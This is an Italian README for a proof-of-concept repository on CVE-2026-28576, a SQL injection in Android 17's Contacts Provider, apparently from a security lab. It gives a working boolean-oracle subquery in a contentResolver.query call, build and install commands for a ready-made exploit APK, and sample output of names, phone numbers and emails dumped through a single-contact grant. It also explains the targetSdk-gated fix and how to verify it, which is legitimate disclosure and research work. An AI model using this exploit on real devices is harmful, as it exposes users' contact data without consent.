CVE-2026-28576: SQL Injection nel Contacts Provider di Android

Un contatto selezionato, tutti i contatti: un gate di compatibilità targetSdk trasforma una concessione di selezione di un singolo contatto in un dump completo del database dei contatti.

Android 17 ha indurito il Contacts Provider contro l'SQL injection con setStrictColumns() / setStrictGrammar() — ma ha distribuito l'indurimento dietro una modifica di compatibilità gated da targetSdk (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Qualsiasi app che ha come target SDK 36 o inferiore salta silenziosamente i controlli rigorosi e può nascondere sottoquery boolean-oracle nella selection della query per leggere l'intero database dei contatti tramite una concessione URI di un singolo contatto. Nessun READ_CONTACTS, nessuna autorizzazione.

Nota: Non abbiamo scoperto questa vulnerabilità. Questo repository contiene la nostra analisi, riproduzione e PoC educativo indipendenti per aiutare la community della sicurezza a comprendere la classe di bug: le correzioni di sicurezza gated dietro @EnabledAfter(targetSdkVersion) lasciano ogni app legacy-target sul percorso vulnerabile.

Analisi completa con screenshot e video demo: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)

Contenuto del Repository

├── poc/                        # App PoC exploit (UI + selettore contatti di sistema)
│   ├── src/                    # MainActivity.java — selettore + exploit boolean-oracle
│   ├── AndroidManifest.xml     # ZERO autorizzazioni, targetSdk 36
│   └── build.sh                # Build senza gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk      # APK PoC precompilato (debug-signed, pronto da installare)
├── REPRODUCE.md                # Guida completa di riproduzione passo-passo
├── evidence-*.log              # Esecuzioni vulnerabili / corrette catturate
└── README.md

Configurazione dell'Ambiente di Test

Serve un emulatore Android 17 con un livello di patch di sicurezza precedente al 2026-07-01 (abbiamo usato AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012, SPL 2026-07-05 — un'immagine beta che porta ancora il gate di compatibilità vulnerabile).

emulator -avd A17-Userdebug -writable-system -no-snapshot &

# Verifica che il livello di patch sia pre-fix
adb shell getprop ro.build.version.security_patch

# Inserisci alcuni contatti vittima (come shell, che detiene le autorizzazioni sui contatti)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
    --bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
    --bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
    --bind data1:s:'Alice Victim'"

Vedi REPRODUCE.md per il seeding completo dei contatti ed entrambe le varianti di esecuzione.

Avvio Rapido

Opzione 1: APK precompilato con il selettore di sistema reale (consigliato)

adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity

Sullo schermo:

1. Tocca "1) Pick ONE contact (system picker)" — si apre il selettore di sistema; l'app non vede mai la tua lista contatti. Seleziona un contatto qualsiasi.
2. L'app mostra la concessione reale emessa dal sistema (checkUriPermission -> 0) e l'unico contatto che è legittimamente autorizzata a vedere.
3. Tocca "2) Exploit: read ALL contacts" — l'iniezione boolean-oracle scarica ogni nome, numero di telefono ed email nel database (~10 s per 9 righe).

Opzione 2: Build dal sorgente

Richiede Android SDK (build-tools 36.0.0, platform android-37.0) e un JDK 17. Nessun gradle necessario:

./poc/build.sh       # -> poc/build/cve-2026-28576-poc.apk  (targetSdk 36, NESSUNA autorizzazione)

Come Funziona

1. Il livello di concessione funziona correttamente. Il selettore contatti di Android 17 consegna all'app una concessione URI di sola lettura per esattamente un contatto: content://com.android.contacts/contacts/lookup/<key>/1. Qualsiasi altra query diretta viene rifiutata con una SecurityException.

2. Il livello SQL no. Poiché la PoC ha come target SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) restituisce false e il provider salta setStrictColumns() / setStrictGrammar(). Il sempre attivo setStrict(true) con avvolgimento di parentesi ferma solo le fughe di clausola come ') OR 1=1 --; non fa nulla contro le sottoquery bilanciate.

3. Iniezione boolean-oracle. L'app esegue una query dall'aspetto ordinario contro la sua URI concessa con una sottoquery nascosta nella selection:

   root@kitploit:~

   contentResolver.query(grantedUri, new String[]{"_id"},
       "1 AND (SELECT substr(data1,3,1) FROM data"
           + " WHERE mimetype_id=(SELECT _id FROM mimetypes"
           + " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
           + " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
   

Risultato

Su una build Android 17 vulnerabile, l'app a zero autorizzazioni esfiltra tutti i nomi, numeri di telefono ed email tramite una concessione per un singolo contatto (vedi evidence-picker-run.log):

What I am ALLOWED to see: Alice Victim  (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name  #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...

Come È Stato Corretto

La correzione fa sì che la modifica 484953293 si applichi a tutti i chiamanti indipendentemente dal targetSdk — una singola annotazione eliminata (variante pubblica: commit GrapheneOS c4129a1c):

     @ChangeId
-    @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
     public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;

Puoi riprodurre l'esatto comportamento corretto su una build vulnerabile senza flashare nulla:

adb shell am compat enable 484953293 com.poc.cve202628576
# La stessa query ora muore prima di raggiungere SQLite:
# IllegalArgumentException: Invalid token SELECT

Vedi evidence-patched-run.log.

Riferimenti

• Post del blog: analisi completa, walkthrough della PoC e video demo
• Android 17 Security Bulletin
• CVE-2026-28576 — NVD
• GHSA-ph86-9mcx-3p6r — GitHub Advisory Database
• Commit di correzione GrapheneOS
• SQLiteQueryBuilder.setStrictGrammar() — riferimento Android SDK

Crediti

Analisi e PoC di Mobile Hacking Lab. Abbiamo riprodotto questa vulnerabilità in modo indipendente per scopi educativi.

Disclaimer

Questa proof of concept è fornita solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Usala solo su dispositivi e ambienti che possiedi o per cui hai esplicito permesso di testare. Gli autori non sono responsabili di qualsiasi uso improprio.